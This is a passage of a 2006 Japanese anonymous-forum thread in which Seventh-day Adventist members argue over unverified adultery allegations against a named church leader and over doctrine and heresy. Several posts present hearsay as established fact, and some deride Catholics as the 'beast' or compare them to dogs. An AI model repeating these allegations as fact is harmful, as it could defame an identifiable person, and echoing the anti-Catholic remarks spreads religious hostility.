06/07/09 23:32:44 jOKCi7YU
>>453
不倫は事実だからいくらなんでも反論できないでしょうね。
牧師たちの中からもこんな品性の悪いＹの牛耳る体制では教団は
生き残れないとして辞職を求めようと言う動きが出ています。
455:名無しさん＠３周年
06/07/10 00:59:39 HUUjpVVZ
>>454
そうですか、いくらか安堵しました。牧師様の中でもすでにこの品性のない
人物の辞職を求めて動いていらっしゃる勇気ある先生方がおられる。
あぁ、有り難いことです。義のためならばいかなる援助も惜しみません。頑張
って下さい。ところで蛇足ですが、454様はどちらの教区に属しておられる先生
なんですか？ 正直足を向けて眠れません。
456:名無しさん＠３周年
06/07/10 04:41:49 FxdCRvvU
>>450-451
言い逃れにしては不自然で随分回りくどいぞ。
「不倫したと言うのは事実ではない」と一発公式宣言すれば済む事なのに、
また金城がどうした村本がどうした白石がどうのこうのと、くどくどしく論理がねじくれて
真直ぐでないな。不倫が事実だからこそそんな無理な説明になるんだろ。
いい加減に教会員にあるまじき悪事を認め、教会から去って楽になれよ。
457:Je pense, donc je suis
06/07/10 07:47:36 AZFsJAwa
>>454
> >>453
> 不倫は事実だからいくらなんでも反論できないでしょうね。
なんのコメントも出さない教団の姿勢には疑問を感じるが、「黙しているから事実だ」
> 牧師たちの中からもこんな品性の悪いＹの牛耳る体制では教団は
> 生き残れないとして辞職を求めようと言う動きが出ています。
458:Je pense, donc je suis
06/07/10 07:55:05 AZFsJAwa
>>454
なんのコメントも出さない教団の姿勢には疑問を感じるが、
「黙しているから事実なのだ、反論できないのだ」と短絡的に決めつけるのも間違っていると思う。
本当は事実無根であるかもしれないじゃないか。
だから、あえてコメントを出さない選択をしていると考えても良いんじゃないか？
私達はあくまでも一方的な書き込みでの、伝聞でしか情報を得ていないのだから。
ニュースソースも明かされていないし、事実を確認する術を持たない。
いくら、２チャンネルだからとは言え、そのくらいの分別を持ってはどうだろうか？
それと、辞職を求める動きがあると言うが・・・
これも、ニュースソースが不明な曖昧な書き込みではないのか？
459:名無しさん＠３周年
06/07/10 08:02:13 ncJjhuGz
>>457
言いたいことが、ハッキリしませんが？
>>458
おっしゃる通りです。
ただ「火の無い所に煙は立たぬ」も無視できかねます。
460:Je pense, donc je suis
06/07/10 08:26:55 AZFsJAwa
>>459
> >>457
> 言いたいことが、ハッキリしませんが？
操作ミスで投稿してしまいました。
> >>458
> おっしゃる通りです。
> ただ「火の無い所に煙は立たぬ」も無視できかねます。
その程度の認識で誹謗中傷しているところに問題があるとは感じませんか？
「火のないところに煙は立たない」→「否定も肯定のしない」→「事実に違いない」
→「やっつけてしまい」 的な発想だから、2チャンネルの書き込みが無視されて、
建設的な提案や意見交換が出来でないんだ。
仮に、不倫が事実無根であるとした場合、
SDA団体 もしくは 個人を「快く思っていない」、団体 もしくは 一部勢力が根も葉も
ないことを、貶めようとして、2チャンネルに書き込んでいるとしたら、これは犯罪行
為にも等しい。
仮に、不倫が事実であったとしても、名誉毀損に当たるの可能性もある。
まして、「辞職を求める動き」など、あたかも内部情報であるかの如き書き込みに至
っては、いたずらに信徒や教団関係者を動揺させる。
もし事実ならば、誰が、いつ、どのような形で、その様な議論が成されているのか？
明確に示す説明責任があると思うが、如何ですか？
461:名無しさん＠３周年
06/07/10 08:30:18 CZDn0MRH
>>458
事実無根ならそのように公式声明で疑いを晴らすのが教団指導者の責任ではないだろうか。
そもそも教団指導者がそういう疑いを掛けられるということ自体教団総務の資質に問題あ
りと言えないだろうか。
462:名無しさん＠３周年
06/07/10 09:36:31 +AehD/nk
>>460
Je pense(？)さん、あなたの申される原則論はもう言い尽くされています。
神はこう宣告されています。
“裁 き は 主 の 家 か ら 始 ま る”
主の預言の成就と考えられたことはないのですか？
463:名無しさん＠３周年
06/07/10 10:23:33 KSaVyInk
>>460
教団指導者の犯罪が指摘されているのに、随分とのんきなお考えなんですね。
464:名無しさん＠３周年
06/07/10 12:25:31 ncJjhuGz
残念ながらこういうbbsでは、物事はハッキリしないだろう。
最近ネットで程度が極めて酷いものは、それなりの対処を考えているようだが。
しかし、ここに記されている程度のことで、460さんが懸念するようでは情けない。
どこかでオトシマエをつけるか、白ならば、キッパリと？ダンマリがよいだろう。
しかし、そう易々とは幕は引かれないだろう。
1-Pet.4:17のことばを、いつもそのように使うのは如何なものか。
465:名無しさん＠３周年
06/07/10 19:32:41 +2QJ4gNR
>>464
無実なら山地さん自らが署名して教団執行部から「潔白宣言」を出すべき
ではないですか。そうすればいとも簡単に幕が引かれるのに。
466:名無しさん＠３周年
06/07/10 19:41:12 +2QJ4gNR
白ならばダンマリを通すのがよいなんて世間では通用しない教団らしい非常識な考えです。
それではかえって結果的に教団の受ける風評被害によるダメージが
どこまでも大きくなりますよ。危機管理思想が全然なっていませんね。
467:名無しさん＠３周年
06/07/10 20:33:37 ncJjhuGz
>>465
>>466
もし白であったら、誰が声明など出すだろうか、という客観的な言い方だ。
もし、黒にしたいなら、それなりのことをすればいい（訴える側が）、という
単純な問題だ。
468:名無しさん＠３周年
06/07/10 20:35:09 lfFHd1Zd
カトリックかぶれの白石先生に是非お勧めの２チャンネルスレです。
ｽﾚﾘﾝｸ(psy板)
（カトリックはキリスト教ではない）
469:名無しさん＠３周年
06/07/10 20:41:45 ncJjhuGz
追記。
黒にしたいのなら、もっと真面目に取り組んだらどうだ。
こういうbbsで、いくら吼えたところで、何の解決になるか。
実際に行動したらどうだ。その結末をUP願う。
470:名無しさん＠３周年
06/07/10 20:46:11 ncJjhuGz
>>468
カトリックがキリスト教でなければ、SDAは何なのだ。
S氏がカトリックかぶれだと―。ことばを選んだらどうだ。
471:名無しさん＠３周年
06/07/10 22:40:01 uzq51fm6
解説
>>464/467/469/470は勿論同一人物の書き込みである。ID:ncJihuGz
最初の頃はいくらか冷静ぶって書き込んでいたが、だんだん興奮してくるに従い
自分自身の置かれている立場すら忘れて、最後には滑稽にもものの見事にあの白石
まで擁護する始末。 教団の雇われ牧師あたりが書き込んでいるんだろうがまず
「恥」を知れと言いたい。
472:名無しさん＠３周年
06/07/11 07:58:01 l/5nQdBN
>>471
同感だ。逆切れして惨めなもんだな。>>467を見ろよ。黒を疑われている
者が白であることを証明しなければならない責任を無視するのが客観的だと
ぬかしてやがる。既に十分悪事がわかっているのだから、教団側が釈明義務を
負っているのが理解できていないのだ。それでいて客観的だとか単純だとか
虚言を弄して時間稼ぎしていい格好し過ぎてる。>>470ではちょっとしたことで
ブチ切れているが、カトリックを揶揄されて、ＳＤＡを貶めているところを見ると
こいつやっぱり白石の腰巾着の側近だな。まさか本人ではないと思うが。本人だったら
面白いことだ。かもめという名前で嵯峨野教会にちょっかい入れてる同一人物だからな。
473:名無しさん＠３周年
06/07/11 08:02:56 4pHxVin2
最近長谷川君のＨＰやＢＢＳ繫がらない事が多いんだけどナンで？
474:名無しさん＠３周年
06/07/11 08:03:53 sRcRjgy5
>>472
エーェ、あの“かもめ”さんがそうなの？ これからは気を付けてゆかなくちゃ。
472さん、それにしてもどうして470が件のカモメと判ったのですか？
475:名無しさん＠３周年
06/07/11 08:26:12 NoBynMSL
>>449
意図は勉強のため。
真イエス教会は土曜に安息日礼拝をやってるペンテコステ派教会。目黒や大阪など
にある。
476:ゆみちゅん
06/07/11 19:23:57 jQv1moDF
はじめまして
とりあえず御挨拶まで
あなたがたをよく研究してから、議論するかもね。
あたしは、ホーリネス教会だよ。福音派キリスト教会 カリスマやペンテコも認める。しかし、異端なら、容赦しない。エホバや統一、モルモン みんな十字架を否定しているし、ミカエル＝イエスは神の御子を愚弄する悪魔の教理だわ。
とりあえず 今回は御挨拶まで。失礼します。
ゆみちゅん。
477:名無しさん＠３周年
06/07/11 20:21:32 ASESSY5W
>>476
それどころか、イエスはライオンの化身だと教える出版物まで出していますよ。
478:名無しさん＠３周年
06/07/12 00:26:47 PD+OqBZh
かもめは空を自由に飛びます。
S教会のカタを持つでなし、S氏やY氏のカタを持つでなし。
ごく自然に聖書を重んじ、世の良識ある常識人を重んじる姿勢を有する者。
決して怪しい者でも、金魚の糞でもなし、といったところ。
K市にある日本の正統派と呼ばれる教会の、有名な元牧師・神学者であるK氏も、
彼の本（Rev.の解説）で、ミカエルをキリストと理解しているようだ。
479:名無しさん＠３周年
06/07/12 00:46:12 PD+OqBZh
TPOということばがあります。
場合によって、少し、言葉遣いを変えることもあります。
世間で堅いと評されている機関のブログでは、それなりのことばでUPします。
（↑の機関は、S教会理事会bbsではありません）
ここのbbsは、どうも思考が偏っている感じが強過ぎると思います。
もう少し、頭を柔らかくしてから、カッカしないで、UPしてほしいと思います。
論理の展開が、極めてアンバランスなものが、時々見うけられます。
480:名無しさん＠３周年
06/07/12 00:55:57 E4q0/1Vy
【ネット】 "悪意の名無しさん" 掲示板で中傷・プライバシー侵害する人
突き止めろ！…総務省、指針策定へ
★中傷の発信者突きとめろ情報開示促す指針策定へ
総務省は１０日、インターネットのホームページや電子掲示板にプライバシーを
侵害したり、ひぼう・中傷の書き込みをされた被害者が、発信者を突き止めやすく
するための環境整備を進めることを明らかにした。
同省は、プロバイダー（接続業者）や掲示板の管理者が、書き込んだ人の情報を
開示できる事例を明示した指針を通信業界に策定するよう要請。これを受け、
業界団体が今秋にも指針をまとめる見通しとなった。
被害者が中傷を書き込んだ人を特定し、損害賠償請求などで対抗できるように
することで、ネット社会が抱える「匿名性」の悪用を減らす狙いがある。
481:名無しさん＠３周年
06/07/12 01:14:34 PD+OqBZh
現に、度を越した極めて悪質なものは、こういうbbsでなくても摘発されています。
そろそろ、ある程度の節度をもった姿勢で書き込むときが来るのも、そう遠くは
ないでしょう。
むしろ、せっかくの匿名なのだから、SDAたる話題を提示して、互いが引き上げ
られるような方向になればいいな、とも思います。
人を誹謗・中傷する気持ちは分からないでもありませんが、事実だとして正義を
貫く姿勢を持つのなら、それなりの対処は、他にあるものと思います。
482:名無しさん＠３周年
06/07/12 06:44:06 HYIUhu14
>>480
中傷発言を取り締まれば教団指導者の釈明責任が軽くなる訳ではない。
悪を指摘するのは聖書的な働きである。信仰と良心があれば誰でもがすることだ。
宗教団体のリーダーであればこそ、なおさら不倫の事実がある限り落とし前をつける
責任から逃れることは出来ない。
483:名無しさん＠３周年
06/07/12 07:22:21 lxT3jrPT
>>482
↑の方の意見に賛成します。
西暦2000年～2002年に亘り、巷では今と全く同じ種類の不道徳に対する譴責が
渦巻いていました。例えば②chでもこんな風でした。
2001/●月/●日
同棲、不倫とか不道徳のかぎりをしていながら、教団賛美歌歌手に加えて伝道
活動に利用させている牧師がいる。そしてこの牧師は「彼らは得がたい音楽の
タラントがあるから失えないSDA教会の宝です。」と言って姦淫の罪を見てみない
振りをしている。
あれから約５年、なにか変化が、よい意味の改革がこの教団内部で成されてきたの
でしょうか？ 相変わらずです。
いや、むしろ状況は悪くなっているのではないでしょうか？>>461さんが言われて
いるように “教団指導者たる者がそういう疑いを一般教会員からもたれる事自体
●●の資質に問題がある。”
いったい誰が何故どういう検証のもとにこんなリーダーを選出したのか？ 本当に
この教団には真の人材はいないのでしょうか？
484:ゆみちゅん
06/07/12 09:53:00 KrOgrEj7
異端か否かはイエスを神とするか天使とするかで明らかになります。使徒信条参照です！
485:まみちゃん
06/07/12 10:49:02 MvhHDlmF
異端か否かは教団総務の不道徳を見過ごしにするかしないかで明らかになります。使徒信条参照です！
486:Je pense, donc je suis
06/07/12 13:53:03 aimGqt85
>>484
SDAには「使徒信条」は存在しません。その信仰を「信仰の大要」としてまとめています。
この「信仰の大要」は、19世紀半ばからのSDAの歴史の中で何度か改訂されて現在の形に至ります。
現在は、27項目から構成されています。（これは、世界共通で各言語に翻訳されています）
インターネット上では、セブンスデー・アドベンチスト教団 のオフィシャルサ
イトで見ることが出来ます。
URLは URLﾘﾝｸ(www.sda.or.jp) です。
（トップページに「信仰の大要」へのリンクがあります）
「信仰の大要」以外に、教会運営の詳細を規定した「教会指針」もあります。
SDAが異端か？と言う問題に関しては、ある時点において異端視されていた事は事実です。
しかしながら、SDAは、宗教改革以来、プロテスタントの教えを信仰の基本においていますし、「三位一
体の神」を信じています。イエスは「子なる神」として創造の時からおられたと信じています。
その意味で「異端的な要素」は無いです。
何かのお役に立てば幸いです。
487:Je pense, donc je suis
06/07/12 14:01:43 aimGqt85
>>485
> 異端か否かは教団総務の不道徳を見過ごしにするかしないかで明らかになります。使徒信条参照です！
このお考えもわからなくはないですが･･･「木を見て森を見ず」･･･きわめて「近視眼的」な物の捉え方ではないでしょうか？
現状を養護するわけではなく、一般論として考えた場合。
罪人である私達が構成する組織において、例えキリスト教会であっても、完全／清廉潔白 である事などあり得ない事ではないでしょうか。
488:名無しさん＠３周年
06/07/12 17:07:15 lEseoHsF
>>487
質問します。
>罪人である私達が構成する組織において、例え基督教会であっても、完全/清廉潔白である事など有り得ないことではないでしょうか。
罪人である人間が罪人を責めることはできない、不義、不道徳も人間の性であるから
眼を瞑れと言われるのですか？ 私達は邪悪なる者に物申す事は出来ないのですか？
神の御言葉を述べ伝うべく選ばれし教団指導者の悪にすら物申すことが出来ないので
すか？
489:名無しさん＠３周年
06/07/12 21:08:07 ldqC1t5Z
>>488
ふざけているんですか。時間稼ぎのための一般論なら教会員に迷惑ですからやめてください。
完全な人は一人もいないのだからといって、指導者が姦淫や盗みをしているのを容認するキリスト教会が
あっていいというのですか。そんな幼稚な一般論を振り回して罪を犯している指導者をやめさせられない教会なんて
この世間のいい笑いものですよ！
490:名無しさん＠３周年
06/07/13 02:51:45 a/KzJV5W
ある国会官僚がこのスレ読んで、昔の古き良き時代のＳＤＡはもう無くなって
しまったようだ…と言っていたらしい。その人はＳＤＡの解体が近づいている
と、宗教心の有る官僚仲間と一緒に話していたそうです。
491:ゆみちゅん
06/07/13 03:57:53 PKH64Viu
真摯なレスありがとさんでした。ＯＫ判りました。調べたら確かに異端の時期認められ改革されて今は正統に属しておられることが。エホバのように都合の悪い過去を隠し続ける醜さはないみたいですね。失礼します。
492:名無しさん＠３周年
06/07/13 07:12:36 9n+xVO0x
>>490
ＳＤＡは、指導者自ら不倫をしてもゆるされるという変態的教会になって、
今後そういう主義に同調するような人を集めて大きくなるかも知れませんよ。
京都の幼児姦淫で捕まったキリスト教牧師もＳＤＡの牧師であったら教会員から
批判もされず大目に見られてゆるされたのかも。まして警察に引き渡される事はなかった。
山地が大きな顔をして教会の婦人会員と不倫できるのもＳＤＡ指導者の特権でしょう。
493:名無しさん＠３周年
06/07/13 08:21:11 B7oTJn+t
＞470
悪いけどカトリックはキリスト教ではないですよ。
キリストの皮を被った獣の教会ですよ。
黙示録で666というのはカトリックのことですよ。
地上の教会権力を握って多くの聖徒を迫害し殺してきたカトリックの歴史を忘れましたか。
彼らが崇拝するのはキリストではなくキリストを生んだ母ですよ。
野蛮の異教の母系社会の制度をキリスト教世界に持ち込んだだけのインチキ宗教です。
ホワイト夫人もカトリックは獣であると警告しています。まともなＳＤＡならそれを信じています。
カトリックをキリストにある兄弟と呼ぶなら、エホバの証人も統一教会もモルモンもそれなりにそう呼ばなければならなくなりますよ。
カトリックは西欧の創価学会みたいなものだと思えば間違いないですよ。
494:名無しさん＠３周年
06/07/13 09:39:47 mZeXfsDt
ｽｺｺｺﾊﾞｼｯｽｺﾊﾞﾄﾞﾄﾞﾄﾞﾝｽｺﾊﾞﾝｽｺ ＿∧＿∧＿∧＿∧＿∧＿∧＿
从 `ヾ/゛／' "＼' /". | ぽんぽこ山の総務さんの＞
. '=巛≡从ミ.（・∀・# ）彡/ﾉ≡》〉≡.|＿ ＿辞意表明まだー？＿＿|
. ゛=!|l|》ﾘｎl⌒!Ｉ⌒Ｉ⌒I⌒Iﾂ从=≡|l≫,ﾞ ∨ ∨ ∨ ∨ ∨ ∨ ∨
《 l|!|!l!'~'⌒^⌒(⌒)⌒^~~~ヾ!|l!|l;"
. "l|l|（（ (〇) ））（（ (〇) ））|l|》;
`へヾ―-― ―-― .へヾ ﾄﾞﾄﾞﾄﾞﾄﾞﾄﾞﾄﾞﾄﾞﾄﾞﾄﾞﾄﾞﾄﾞﾄﾞﾄﾞﾄﾞﾄﾞﾄﾞﾄﾞﾄﾞﾄﾞ
495:Je pense, donc je suis
06/07/13 10:47:49 YfaJFWvK
>>488
質問にお答えいたします。
まず、私の考えを明確にしておきます。
１：ＳＤＡの持つ聖書のメッセージ(教理)を正しいと信じている
２：山路総務部長の不倫疑惑と言われるスキャンダルに関しては、事実認定の判断を保留している
３：教会組織は、神自信がお建てなった物で、指導者もまた神のよって選ばれた（エペソ4:11)と考えている。
以上の3点を踏まえて…
私は、「教団指導者の悪にすら物申すこと」の資格云々を言っているのではありません。
事実の真意が明確でない現状で、スキャンダルが事実であることを前提とした「教団が指導者の姦淫や盗みをしているのを容認している」との意見には同意できません。
また、疑惑をかけられるのは個人の資質に問題があるとの意見にも同意できません。
何らか理由で「山路許すまじ」と考える個人や組織による悪意ある陰謀でないと言い切れますか？
ただし、説明責任を果たしていない教団の対応に問題があると考えていることは、以前にも書き込みをしたとおりです。
まず、事実を明らかにするべきです。
今回の場合、証明責任は「不倫がある」と主張する側：つまり、私達にあります。（物事のある・なしに関しては、「無い」事の証明の方が難しいためです）
仮に疑惑が事実だとした場合、その道義的責任を問うべきです。
そして、同時に、疑惑が事実であることが証明されなかった場合、私達は自らの過ちを認めるべきです。
また、何らかの公式なコメントが出された場合、真摯に受け入れる覚悟を私達は持たないといけないと思います。
最後に「ゆみちゅん」のレスで一般論を提示したのは、ＳＤＡの異端判断に対して、今回のスキャンダルへの対応で判断するのではなく、教理的な判断をしていただきたかったからです。
496:489ですが
06/07/13 11:10:48 dzBr38Q0
>>489で書いた、
>>488
というのは番号の誤りです。488さんにお詫びします。
正しくは
>>487
です。487の人にふざけないで下さいと言いました。
教団総務が姦淫をしていたというのは天沼や関町の信徒の間では既知の事実なんですよ。
今更あなたが知らないというのは事実を隠蔽し、公けの処分を先送りにする理由には
なりません。お気持ちはわかりますが回りくどいことを言うのはやめて、
ここは謹んでお引取り下さい。
497:489ですが
06/07/13 11:16:41 dzBr38Q0
>>495
貴殿の３の前提が間違っていると思います。
確かに教会は神が立てたものかもしれませんが、教会の指導者が常に
神によって選ばれたてられているのかという反省をしてください。
ＳＤＡの使命をボロクソにして泥を塗っている総務のどこが神に
油注がれた者ですか。そういう思い込みが教会の悪を助長します。
聖書にも、あなたの主の家を思う熱心があなた方を滅ぼすであろう、
と書いています。
498:名無しさん＠３周年
06/07/13 13:17:52 2pWfW/3G
>>495
私も >>497さんに賛成です。ところで495さんは正規のSDA教会員なんですか？
ーＹ先生のこと「山路総務部長」と呼ばれていますが、名前の漢字も違うし役職も正確
ではありません。もし意図的に当て字を用いられているのでしたら失礼な話ですね。
ー495さんがＳＤＡ教会員であるなら、失礼ですが信仰歴の長い方だと思います。そうで
あるなら当然よくご存知だと思います、過っての教団を巡る色々な疑惑の数々。沖縄
東京、広島、千葉、山形・・・・・どの疑惑ひとつ取っても真実が明らかにされたもの
があるでしょうか？いつも、いつも、何時の間にか有耶無耶にされています。
ー自分たちの都合を尺度にして善悪を判断してきた人達、徒党を組んで元教団理事長に横車
を入れ平気でその座を蹴落とす裁量はあるのに、自分たちの仲間の不道徳には知らん振り。
こんなのは許せません。 これでは献金も期待どうりにはならないでしょう。
499:Je pense, donc je suis
06/07/13 14:41:17 YfaJFWvK
>>498
> >>495
> 私も >>497さんに賛成です。ところで495さんは正規のSDA教会員なんですか？
はい、SDAの教会員です。
人に素性を問いただすのであれば、まず、自らの素性も表明してください。
498さんは、教会員ですか？497さんは教会員ですか？
前提３に対して、異論があるとのことですが、エペソ4:11 を否定する聖書の箇所をお示しください。
497さんは「ヨハネ2:17」の「宮清め」を引用されました。
この箇所は詩篇69.9｢あなたの家を思う熱心が私を食いつくし、あなたをそしる者のそしりが私に及んだからであります。｣
に寄ります。
つまり、私達のスレでの書き込みを見た人々のそしりが、教団におよび、SDAの真理が食い尽くされる。
私を含めたこのスレの住人への警鐘としお受けしたいと考えます。
> ーＹ先生のこと「山路総務部長」と呼ばれていますが、名前の漢字も違うし役職も正確
> ではありません。もし意図的に当て字を用いられているのでしたら失礼な話ですね。
ご指摘、感謝します。誤変換・認識不足のまま書き込みしてしまいました。
訂正してお詫びいたします。申し訳ございませんでした。
過去の問題に対しての議論は、論旨が曖昧になりますのでやめませんか。
当時の当事者と環境、問題点はそれぞれ異なっています。それぞれの問題を一元的に語ることは難しいと考えます。
2003年10月 教団臨時総会 以降、一般信徒の教団指導部への信頼、指導部の求心力の低下は否定できないと考えております。
しかし、だからといって、教団の指導部に対する敬意の念を持たなくても良いとの理由にはなりません。
「天沼や関町の信徒の間では既知の事実」というのも伝聞でしかなく、客観的な証拠をお持ちなのでしょうか？
繰り返しますが、今回の件に関して、疑惑が事実であることを前提とした教団批判に対しては同意できません。
500:名無しさん＠３周年
06/07/13 16:04:28 aR86YMHx
>>499
すいません。遅ればせながらながら、申させて頂きます。教会員でございます。
499さんはお気付きになっておられませんがこれが教団の常套手段なんですよ。
＞過去の問題は論旨が曖昧になりますから、やめましょう。当時の当事者と環境、
問題点はそれぞれ異なっています。
本当にそう思われているのですか？ もし神誓ってそう申されるのであればもう
なにおかや謂わんです。
それでも敢て指摘するならば、現在起きている問題は過去からの歴然とした継続
する問題なんです、だからこそ........
501:名無しさん＠３周年
06/07/13 20:06:16 l8RWvbvQ
>>499
Jeさんよ。あんたは結構正しいことを言ってると思う。教団の指導力の低下、不信は目を覆うばかりだ！
ただそれだけ状況を正しく認識しているなら、総務の異常な素行が教団の評判を落とし指導力の低下に関係している
という現実を認めるべきだ。
それゆえ教団組織が神に立てられたという自負があるなら自ら責任を感じて総務に詰め腹を切らせるべきではなかろうか。
502:名無しさん＠３周年
06/07/13 21:03:36 3mnfAest
>>493
Rev.13:18の、666が、カトリックだということを、聖書のみから、説明して
いただけませんか。
カトリックはキリスト教ではない、ということを説明をしていただけませんか。
503:名無しさん＠３周年
06/07/14 00:48:49 h6y05jSV
>>493
日蓮上人の著した立正安国論、また、彼が重んじたとされる、妙法蓮華経の
メッセージと、カトリックが正典としている聖書との間に、どのような類似点
がありますか。
504:名無しさん＠３周年
06/07/14 05:07:37 BiC+Qm8o
>>502&>>503
異端の亡霊どもが又さまよい始めている。
忌まわしき亡霊どもよ逝け！
505:名無しさん＠３周年
06/07/14 06:02:27 h6y05jSV
ロジカルなことはおろか、何も述べることもできない、亡霊のような発言ですね。
506:絶対に試して！！
06/07/14 06:13:35 U81HemCl
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507:名無しさん＠３周年
06/07/14 06:39:31 /HSbGxdv
教団理事長していた白石尚先生が、「犬とカトリックはおだてておけば
悪さはしない」とおっしゃっていました。頭いい人ですね。
508:嘘八百古狸
06/07/14 08:09:21 TSLK7rdA
>>486
リンク先の「１７．預言の賜物」の項に以下とある。
「聖霊の賜物の１つは預言である。
この賜物は残りの教会を見分けるしるしであって、
エレン・Ｇ・ホワイトの奉仕にあらわれている。
主の使者としての彼女の著書は、
つねに信頼のおける真理のみなもとであって、
教会を慰め、導き、教え、その過ちを正す。
彼女の著書はまた、聖書がすべての教えと経験を審査する
基準であることをも明らかにしている。」
エレン・Ｇ・ホワイトという個人の著作を
「つねに信頼のおける真理のみなもと」と
聖書並みの信頼を寄せている点は
個人崇拝のカルトだね
しかもかの箇所
（ヨエル2：28、29、使徒言行録2：14－21、
ヘブライ1：1－3、黙示録12：17、19：10）などを
聖書的根拠としてあげている
509:嘘八百古狸
06/07/14 08:14:02 TSLK7rdA
「２２．結婚と家庭」の項も
「結婚は…略…信仰を同じくするものの間でだけなされるべきである。」
とあるが、
現実問題として他教徒と婚姻関係にある者に対する言及のある
パウロ書簡などから言わせて貰うと、
聖書的根拠のない変な規定だね
ちょっと怖そうだね ここ
510:名無しさん＠３周年
06/07/14 08:55:12 h6y05jSV
世界総会のHPは下記。
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そんなに怖くも痒くもないと思いますが。
18. The Gift of Prophecy:
One of the gifts of the Holy Spirit is prophecy.
This gift is an identifying mark of the remnant church
and was manifested in the ministry of Ellen. G. White .
As the Lord's messenger, her writings are a continuing
and authoritative source of truth which provide
for the church comfort, guidance, instruction, and correction. …
23. Marriage and the Family:
Marriage was divinely established in Eden and affirmed
by Jesus to be a lifelong union between a man and a woman
in loving companionship.
For the Christian a marriage commitment is to God as well as
to the spouse, and should be entered into only between partners
who share a common faith. …
511:Je pense, donc je suis
06/07/14 11:15:38 nUMhSJiJ
>>500
> 499さんはお気付きになっておられませんがこれが教団の常套手段なんですよ。
今は教団総務の不倫疑惑に対する教団の対応について意見交換を行っていると認識しています。
過去の問題に対する教団の対応の不備を問うているのではありません。
> ＞過去の問題は論旨が曖昧になりますから、やめましょう。当時の当事者と環境、
> 問題点はそれぞれ異なっています。
> 本当にそう思われているのですか？ もし神誓ってそう申されるのであればもう
> なにおかや謂わんです。
過去のに関しては、ちゃんと総括し｢悔い改め」その上で｢赦しを請う」。その作業は必要であると考えます。
それは、別の機会、別の場所で行いましょう。
しかし、過去の対応の不備を語っても、「現在」を変えることはできません。それは、過去を変える方法が無いからです。
変える事のできない過去に固執する議論は、関係者の遺恨しか生みません。
> それでも敢て指摘するならば、現在起きている問題は過去からの歴然とした継続
> する問題なんです、だからこそ........
「過去から歴然とした継続する問題」だからこそ、過去の経緯や遺恨に囚われず、新しい議論が必要なんです。
512:Je pense, donc je suis
06/07/14 11:43:28 nUMhSJiJ
>>501
> Jeさんよ。あんたは結構正しいことを言ってると思う。教団の指導力の低下、不信は目を覆うばかりだ！
> ただそれだけ状況を正しく認識しているなら、総務の異常な素行が教団の評判を落とし指導力の低下に関係している
> という現実を認めるべきだ。
何度も書いているが…今回の不倫疑惑を事実とした前提に基づく教団批判には同意できません。
教団に対する一般信徒の信頼感の低下は、一個人の資質にあるのではなく、今回の疑惑に対する対応に見られるように
説明責任を十分に果たさない姿勢であったり、危機管理意識の不足、時代認識の欠如にあると思う。
その点は、是非、改めるべきだと考える。
513:名無しさん＠３周年
06/07/14 12:16:12 VJe0qWm9
>>511-512
詭弁はやめなさい。事実であると証言する人が二人以上いるんですよ。
514:名無しさん＠３周年
06/07/14 12:32:16 z0JCdF5+
>>465のお人が言われるように、総務が潔白宣言を出せばそれで終わることでしょうに。
それが世間の常識じゃないですか。
515:Je pense, donc je suis
06/07/14 12:43:44 nUMhSJiJ
不倫疑惑に関しては、教団の対応次第ということで、このスレでの議論終了。
516:名無しさん＠３周年
06/07/14 15:16:21 U6/15uJq
>>515
オィオィ Jeさん！ それはないんじゃないですか？ それにちょっと卑怯じゃないですか？
これで議論終了ですって。 >>513-514さん達のスレに反論すらできず、勝ち目がないとなると
一方的に議論打ち切り宣言。 まぁ貴方もそんなところなんでしょうがね。
正直言ってJeさんに対する信頼失墜です。 残念。
517:Je pense, donc je suis
06/07/14 16:35:29 nUMhSJiJ
>>516
はじめから書かせていただいている事を整理します。
今回の問題点は２つです。
１：疑惑に対しての教団の姿勢です。
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
518:Je pense, donc je suis
06/07/14 17:16:25 nUMhSJiJ
>>517
すいません…また、操作ミスで途中でアップしてしまいました。
はじめから書かせていただいている事を整理します。今回の問題点は２つです。
１：疑惑に対しての教団の姿勢です。
疑惑に対するコメントを一切出さない教団の態度に問題がある。
教団の危機管理意識の欠如。２チャンネルなどのインターネットメディアに対応する時代認識の不足を
指摘してきました。
２：２チャンネルでの教団批判の姿勢
今回の疑惑に対して、事実である事を前提とした教団批判に対して問題を提示しました。
議論打ち切りを提案した理由は、以下の２つ
１：515さんの書き込みに対して
教団が「総務が潔白宣言を出せばそれで終わる」との意見は、まさに、そのとおりで議論の余地が無い。
２：513さんの｢2名以上の証人がいる」との書き込みに対して
513さんの書き込みは、496さんの書き込みと同様に「伝聞情報」であり信じるに足る根拠が無いと考えます。
その点に関しては、499 で私が指摘をし客観的な証拠の提示を求めましたが、この答えが｢513」の書き込み
であると思います。
では、この証言の信憑性を証明する議論を展開すれば良いのですが、個人名などプライバシーに問題に踏
み込んで、客観性を検証しないといけませんが、それはこの場で行うべきではない。
つまり、２チャンネルでは検証できないと考えます。
つまり、私が提示した2つの問題点について、これ以上の議論は無駄であると判断しました。
この議論を続けるよりも、嘘八百古狸さんの提示させた、SDAの教理解釈に関する意見交換に移行するべきで
はないかと考えます。
それでも、まだ、やりますか？？？
519:名無しさん＠３周年
06/07/14 19:34:02 KhCeiCv8
＞それでも、まだ、やりますか？？？
やろうやろう。ここまで来たんだから。同時進行でガムバッテくらはい。
520:名無しさん＠３周年
06/07/14 19:58:18 SAzShhtI
>>518
私は総務の不倫が事実であったかどうかと言う議論には関心が無い。
しかしそれよりもどうして総務が自ら潔く釈明して教会員の前でやましいことを
一切していないことを堂々と弁明できないのか、それが悲しい。
このままでは信徒の指導者に対する不信は天を突き、教会はバラバラになってしまう。
それで私は総務の不誠実をここで問題にして議論を続けて危機意識を高揚させるの
がよいと思います。続けましょう。
521:名無しさん＠３周年
06/07/14 20:25:53 h6y05jSV
SDAの教理解釈に関する意見交換は、神学論争になると思いますので、
賛成しかねます。
どなたか、この問題を、大いに危惧している方々が、誰か二人以上の証人
と共に、教団本部に出向いて、問題の解答を迫ってはいかがでしょうか。
522:Je pense, donc je suis
06/07/14 20:30:51 nUMhSJiJ
>>520
> 私は総務の不倫が事実であったかどうかと言う議論には関心が無い。
> しかしそれよりもどうして総務が自ら潔く釈明して教会員の前でやましいことを
> 一切していないことを堂々と弁明できないのか、それが悲しい。
2名の方から、議論続行のご提案がありました。
私も教団からの正式なコメントが出ないことに関して、問題提議を行って
おりますので、その件に何らかの結論が出るまで続けましょう。
但し、今後は最低限のルールを設けたいと思います。
ルールは1つです。
１：今後の書き込みに関してはハンドルネームを明記してください。（当然、成りすましは厳禁です）
ルールの目的は
